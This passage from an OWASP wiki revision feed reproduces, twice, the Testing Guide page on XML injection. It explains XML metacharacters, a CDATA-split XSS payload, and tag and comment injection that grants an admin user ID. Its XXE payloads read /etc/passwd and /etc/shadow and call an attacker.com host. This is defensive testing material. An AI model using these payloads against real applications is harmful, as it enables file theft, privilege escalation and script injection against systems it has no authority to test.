  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible to try to inject XML data and tags. We will show an example of how this can lead to a privilege escalation attack.&lt;br /&gt;
&lt;br /&gt;
Let's considering the previous application. By inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.&lt;br /&gt;
Let's suppose that the XML document is specified by the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.&lt;br /&gt;
&lt;br /&gt;
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting &lt;br /&gt;
a comment start/end sequence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
In this case, the final XML database is:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
* Gregory Steuck, &amp;quot;XXE (Xml eXternal Entity) attack&amp;quot;, http://www.securityfocus.com/archive/1/297714&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=38712</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=38712"/>
				<updated>2008-09-07T05:14:19Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Short Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section, a practical example of XML Injection will be looked at: first, an XML style communication will be defined, and its working principles explained. Then, the discovery method in which we try to insert XML metacharacters will be examined.&lt;br /&gt;
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an XML style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node in an xmlDb file.&lt;br /&gt;
Let's suppose the xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user registers himself by filling an HTML form, &lt;br /&gt;
the application receives the user's data in a standard request, which,&lt;br /&gt;
for the sake of simplicity, will be supposed to be sent as a GET request.&lt;br /&gt;
&lt;br /&gt;
For example, the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The application, then, builds the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability consists of trying to insert XML metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
XML metacharacters are:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted as the attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
then, the resulting XML document is not well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution gives:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parentheses: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, because of the presence of the open '&amp;lt;', the resulting XML document is invalid.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application will build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid XML sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in the XML syntax to represent entities. The format of an entity is '&amp;amp;amp;symbol;'. An entity is mapped to a character in the Unicode character set.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represents the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp;, it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
In fact, if an input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but, again, the document is not valid: &amp;amp;amp;foo is not terminated with ';' and the &amp;amp;foo; entity is undefined.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA section delimiters: &amp;lt;![CDATA[ / ]]&amp;gt;''' - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.&lt;br /&gt;
&lt;br /&gt;
For example, if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node, a CDATA section may be used:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed as markup and will be considered as character data.&lt;br /&gt;
&lt;br /&gt;
In case a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA string ']]&amp;gt;' in order to try to invalidate the XML document.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid XML fragment.&lt;br /&gt;
&lt;br /&gt;
Another test is related to CDATA tag. Suppose that the XML document is processed to generate a HTML page. In this case, the CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML tags, which will be included in the generated page, completely bypassing existing sanitization routines.&lt;br /&gt;
&lt;br /&gt;
Let's consider a concrete example. Suppose to have a node containing some text that will be displayed back to the user. &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Then, an attacker can provide the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The result is that the application is vulnerable to XSS. &lt;br /&gt;
&lt;br /&gt;
'''External Entity:'''&lt;br /&gt;
The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems. &lt;br /&gt;
&lt;br /&gt;
To test for XXE vulnerabilities, one can use the following input:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.&lt;br /&gt;
&lt;br /&gt;
Other useful tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
